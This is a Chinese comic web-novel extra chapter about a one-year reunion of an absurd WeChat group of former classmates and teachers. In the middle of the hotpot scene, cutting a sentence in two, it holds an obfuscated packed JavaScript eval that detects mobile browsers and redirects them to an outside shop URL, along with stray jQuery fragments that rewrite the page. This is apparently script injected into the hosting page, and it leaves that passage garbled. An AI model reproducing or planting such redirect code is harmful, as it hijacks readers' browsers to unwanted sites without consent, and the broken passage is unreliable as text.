“抽象养老院”微信群成立一年后，群里已经发展到了12个人。


    新增成员包括：


    ·梦萱的大学室友小鹿（被梦萱同化，现在口头禅是“你他妈说得对”）


    ·大雄的铅球队队友铁柱（因目睹大雄用痘痘贴标记铅球而加入）


    ·鲁平和张聪明养的猫“啊秃”（由张聪明代为发言，全是“喵～”）


    ·洐沁的导师（社会学教授，说“这个群本身就是珍贵的研究样本”）


    ·我的大学下铺阿珍（因为总听我讲群里的故事，求拉进来“嗑糖”）


    群名还是“抽象养老院”，因为梦萱说：“我们虽然年轻，但心理年龄已经可以领养老金了——被彼此折磨的。”


    ---


    第一幕：梦萱的大学艺术展


    梦萱在大一期末搞了个行为艺术展，主题：《我的高中老师是CP》。


    她做了两个等身人偶——秃顶反光的鲁平和油头锃亮的张聪明，摆成互相喂饭的姿势，头顶挂着个牌子：“师师恋，教育创新”。


    展览当天，她直播到群里。


    梦萱：「看！我的作品！牛逼不！」


    照片发来：两个人偶面前围了一圈观众，表情复杂。


    鲁平：「……这算侵犯肖像权吗？」


    张聪明：「啊～我头发没那么油吧～」


    梦萱：「艺术加工！重点是我在解说时，用了你们所有的梗！包括办公室斗殴、豆浆交杯、还有你们给彼此挤黑头！」


    大雄：「有人买吗？」


    梦萱：「有个教授想买，但钱不够，说要用期末成绩换。」


    洐沁推了推不存在的眼镜（在群里她发这个表情：??）：「交易行为本身也是艺术的一部分。」


    我：「你答应了？」


    梦萱：「当然！我给他打了八折——用一篇骂人rap抵了200块钱。」


    最后，人偶被一个艺术学院院长买走，放在学院展厅，标签写着：“中国师师恋现实主义雕塑”。


    鲁平知道后，默默在办公室戴了三天帽子。


    张聪明则去做了个新发型——虽然还是很油。


    ---


    第二幕：大雄的体育生哲学


    大雄在体育学院主修铅球，辅修运动心理学——因为他觉得自己“心态特别好，适合开导别人”。


    他的第一份实践作业是：给铅球队队友做心理辅导。


    队友A：比赛前紧张，手抖。


    大雄：“你就想象铅球是你脸上的痘痘，你要把它扔出去，越远越好。”


    队友A：？？？


    “真的，”大雄认真说，“我以前一紧张就挤痘，挤完就放松了。现在不让挤了，就扔铅球。”


    队友B：失恋了，训练没精神。


    大雄：“你想，女朋友就像痘痘，长的时候烦，挤了疼，没了又想。”


    队友B：“……你这是安慰吗？”


    “是哲学。”


    他把这些案例发到群里。


    梦萱：「你他妈这水平还能辅修心理学？」


    大雄：「老师说我角度新颖。」


    洐沁：「确实，将生理体验与心理状态类比，属于具身认知的实践应用。」


    鲁平：「这让我想起了痘痘辩证法……」


    张聪明：「啊～大雄长大了啊～」


    后来，大雄的“痘痘心理疗法”真的帮队友拿了奖，他写了一篇论文：《论面部瑕疵处理与压力释放的正相关关系——以铅球运动员为例》。


    导师批注：“虽然离谱，但数据真实，给过。”


    ---


    第三幕：鲁平和张聪明的校外生活


    两人在校外租了个房子，养了猫，过上了中年夫夫生活。


    张聪明每天下班第一件事：给鲁平泡枸杞茶。


    鲁平每天睡前最后一件事：给张聪明按摩头皮——“防脱发”。


    他们会在群里发日常：


    张聪明：「啊～今天鲁老师做的红烧肉咸了啊～」


    配图：一盘黑乎乎的东西。


    鲁平：「是你说要多吃盐，防秃。」


    张聪明：「啊～那也不能齁死啊～」


    梦萱：「你俩能不能别在群里秀恩爱？考虑过单身狗的感受吗？」


    大雄：「我单身，但我不狗。」


    我：「我下铺阿珍问，你俩谁做饭？」


    鲁平：「我。」


    张聪明：「啊～我负责洗碗啊～」


    猫“啊秃”偶尔出镜，一只秃顶的橘猫——是他们在学校后街捡的，因为秃顶，觉得亲切。


    啊秃的日常：躺在鲁平秃顶上睡觉，或者用爪子扒拉张聪明的油头。


    洐沁记录：「跨物种亲密关系建立，反映饲主的自我投射。」


    ---


    第四幕：洐沁的导师入群记


    洐沁的导师，姓严，五十多岁，社会学教授，严肃古板。


    直到某天，洐沁把群聊天记录整理成《网络社群互动模式分析》的附录交上去。


    严教授看完，沉默了一下午。


    然后问：“这个群……我能加吗？”


    洐沁以为他开玩笑，结果他真的发了微信号。


    严教授入群后，先潜水一周，然后开始发言。


    严教授：「从社会学角度看，你们的关系模式挑战了传统的师生、同学边界。」


    梦萱：「说人话。」


    严教授：「就是你们很乱来，但乱得有意思。」


    他很快融入，甚至参与讨论。


    有一次讨论“火锅AA制最优解”，严教授列了个数学模型，比张聪明还复杂。


    张聪明：「啊～教授您这是数学系毕业的吧～」


    严教授：「不，我是在研究你们的过程中自学的。」


    严教授现在每周给我们布置“作业”：记录一件抽象日常，他用来写论文。


    他说我们是他“最鲜活的田野调查点”。


    梦萱给他起了外号：“严老头”，他欣然接受。


    ---


    第五幕：我的大学“管理”生涯


    我在大学学管理，进了学生会，当了个小部长。


    第一次部门会议，我下意识说了句：“都安静，别吵了——等等，你们没吵。”


    部员们看着我，眼神困惑。


    后来，每当部门有人争执，我就会脱口而出：“要不算一下AA？”“要不写个检讨？”“要不……表演个rap？”


    部员们觉得我“深不可测”。


    只有我知道，这是五班后遗症。


    有一次，部门组织烧烤，两个部员因为谁烤的鸡翅更好吃吵起来。


    我走过去，面无表情地说：“这样，你俩各自烤一个，我们盲测打分，分数低的请喝奶茶。”


    全场寂静。


    然后他们真的照做了。


    事后，副部长偷偷问我：“部长，你以前是不是带过什么问题班级？”


    我：“……你怎么知道？”


    “因为你这套流程太熟练了。”


    我默默打开群，发了一句：「我想你们了。」


    梦萱：「肉麻！来打架！」


    大雄发了个铅球表情包。


    鲁平发了个哲学名言。


    张聪明：「啊～」


    洐沁发了张新画的Q版：我在大学部门会议上一脸“又要崩溃了”的表情。


    我笑了。


    ---


    第六幕：第一次“养老院”线下聚会


    寒假，梦萱提议聚会：“都回家了吧？出来吃饭！”


    地点定在高中后街的喷火火锅店——老板看到我们，手一抖，菜单掉地上了。


    “你们……毕业了还来？”老板声音颤抖。


    梦萱：“想你了！”


    老板：“我不想你们……”


    但这次，我们人齐了。


    十二个人，坐了两桌。


    梦萱带着小鹿，小鹿已经学会用梦萱的语气说话：“这肥牛切得跟他妈纸一样薄！”


    大雄带着铁柱，铁柱是个两米高的壮汉，但说话细声细气：“雄哥说这儿的辣锅特别辣……”


    鲁平和张聪明牵着啊秃的猫绳——猫装在宠物包里，露出个秃顶脑袋。


    洐沁带着严教授，严教授拿着笔记本，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074474|195112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    随时记录。


    我带着阿珍，阿珍兴奋得像个追星女孩：“我终于见到活的了！”


    老板看着这阵容，默默在门口挂了“今日包场”的牌子——虽然没包场，但吓跑了不少散客。


    ---


    火锅开始。


    话题从“大学怎么样”迅速跑偏成：


    梦萱教小鹿如何用脏话背艺术史。


    大雄给铁柱演示“铅球解压法”。


    鲁平和张聪明互相夹菜，顺便讨论“枸杞泡茶的最佳水温”。


    严教授在记录“跨年龄层抽象行为传递”。


    啊秃在桌底下偷吃虾滑，被抓住，张聪明说：“啊～它随我啊～”


    阿珍小声问我：“他们一直这样吗？”


    我：“今天算收敛的。”


    吃到一半，梦萱突然站起来，举杯：


    “敬抽象养老院成立一周年！”


    “敬我们还没散！”


    “敬老板还没倒闭！”


    老板：“……谢谢。”


    我们碰杯。


    可乐、雪碧、枸杞茶、甚至猫罐头（啊秃的）碰在一起。


    响声清脆。


    ---


    饭后，大家挤在火锅店门口拍照。


    老板主动拿来相机：“我帮你们拍，拍完你们赶紧走，求求了。”


    十二个人，加上一只猫，挤成一团。


    快门按下时：


    梦萱比着rock手势，小鹿学她但学不像。


    大雄把铁柱举起来（真的举起来了），铁柱一脸惊恐。


    鲁平和张聪明在亲脸颊——被严教授按头：“注意影响！”


    洐沁在画速写，严教授在拍洐沁。


    啊秃在舔地上的辣油，吐着舌头。


    我和阿珍在笑，笑到弯腰。


    “咔嚓。”


    照片洗出来后，老板贴在了店里墙上，紧挨着两年前我们那张“散伙火锅”照。


    标题是老板自己写的：


    “他们又来了，并且没把我店拆了——致抽象养老院第一次年会”


    ---


    散场时，又到了那句“下次见”。


    但这次没人伤感。


    因为知道，真的会再见。


    群还在，人还在，火锅店还在。


    抽象，也还在。


    梦萱在群里发了张今晚的合影：


    「抽象养老院，一周年快乐！明年继续！」


    大雄：「嗯！」


    鲁平：「好。」


    张聪明：「啊～一定啊～」


    洐沁：「数据已更新。」


    严教授：「很有研究价值。」


    我：「……行。」


    阿珍私聊我：「你们群还缺人吗？我想永久居留。」


    我：「你确定？这是条不归路。」


    阿珍：「确定！太有意思了！」


    我拉她进了群。


    梦萱：「新人？爆照！报三围！说特长！」


    阿珍紧张地发了张自拍：「特长……能吃？」


    梦萱：「过关！以后你就是养老院食堂部长！」


    看，我们的世界，还在扩张。


    虽然抽象。


    虽然吵闹。


    但温暖。


    像那锅永远沸腾的火锅。


    辣得流泪，但停不下筷子。


    ---


    （番外完）


    ---


    洐沁的观察笔记补遗：


    「样本追踪报告更新：


    ‘抽象养老院’已发展成跨地域、跨年龄、跨物种的非正式社群。


    核心成员保持高频互动，新成员迅速被同化。


    抽象文化呈现出强大的传染性与适应性。


    预测：该社群将持续存在，并可能衍生出子社群。


    建议：长期观察，或许能写成博士论文。


    ——观察员洐沁，于群成立一周年记。」


    青春散场了。


    但养老院刚开业。


    而且，看样子，要开很多很多年。


    因为抽象的人，永远不老。


    只会越来越抽象。